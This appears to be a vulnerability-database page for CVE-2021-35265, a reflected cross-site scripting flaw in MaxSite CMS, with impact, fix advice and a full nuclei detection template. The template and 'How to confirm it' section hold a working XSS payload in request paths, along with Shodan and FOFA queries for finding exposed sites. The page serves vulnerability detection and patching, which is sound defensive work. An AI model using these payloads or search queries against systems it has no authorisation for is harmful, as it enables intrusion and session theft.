Browse / CVEs / CVE-2021-35265
CVE-2021-35265· maxsite / maxsite cms· CWE-79
MaxSite CMS > V106 - Cross-Site Scripting
A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
How to confirm it
Send: GET {{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E ; GET {{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E
Positive when: contains "><svg/onload=alert(document.domain)>" AND contains "mso-comments-rss\">RSS</a>" or "MaxSite CMS" or "feed\"><span>RSS</span>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-35265 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-35265
info:
name: MaxSite CMS > V106 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
reference:
- https://github.com/maxsite/cms/issues/414#issue-726249183
- https://nvd.nist.gov/vuln/detail/CVE-2021-35265
- https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-35265
cwe-id: CWE-79
epss-score: 0.03436
epss-percentile: 0.89067
cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: maxsite
product: maxsite_cms
shodan-query:
- html:'content="MaxSite CMS'
- http.html:'content="maxsite cms'
fofa-query: body='content="maxsite cms'
tags: cve2021,cve,maxsite,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
- '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '><svg/onload=alert(document.domain)>'
- type: word
part: body
words:
- 'mso-comments-rss">RSS</a>'
- 'MaxSite CMS'
- 'feed"><span>RSS</span>'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/maxsite/cms/issues/414#issue-726249183
- https://nvd.nist.gov/vuln/detail/CVE-2021-35265
- https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from